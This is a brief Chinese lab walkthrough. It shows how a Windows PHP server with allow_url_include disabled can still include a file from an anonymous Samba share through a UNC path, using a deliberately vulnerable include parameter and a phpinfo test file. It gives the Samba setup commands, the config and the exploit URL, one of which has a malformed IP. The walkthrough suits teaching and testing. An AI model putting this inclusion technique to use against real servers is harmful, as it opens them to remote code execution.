环境
linux 一台 192.168.1.130
window 一台 192.168.1.131
搭建
1.window的环境搭建的环境中 在php.ini里面”allow_url_fopen”和“allow_url_include“设置为Off
2.在linux上搭建一个samba服务器 进行如下操作
apt-get install samba 安装samba服务
mkdir /var/www/html/pub/ 创建文件夹
chmod 0555 /var/www/html/pub/ 设置权限
chown -R nobody:nogroup /var/www/html/pub/ 设置权限匿名浏览
echo > /etc/samba/smb.conf 清空默认的配置文件
然后把以下的文件写到/etc/samba/smb.conf
[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes
[ica]
path = /var/www/html/pub
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555
force user = nobody
`service smbd restart` 重启服务
3.在window 192.168.1.131上面尝试访问下 \\192.168.1.130\
看看是否搭建成功 如果搭建成功会显示一个ica的共享文件夹
4.在linux的机器 /var/www/html/pub
共享的目录写入一个phpinfo.php用来测试是否包含成功
5.在window的机器上写入一个本地包含文件1.php的代码include… a为接收参数来测试
6.访问http://192.168.1.131/1.php?a=\\192.168.130/ica/phpinfo.php
这里再总结下:
1.最后总结一句:只有Windows_PHP 服务器才可以利用UNC特性包含局域网SMB服务共享的文件!之前有个作者说linux和Windows做PHP服务器都行
2.感觉挺鸡肋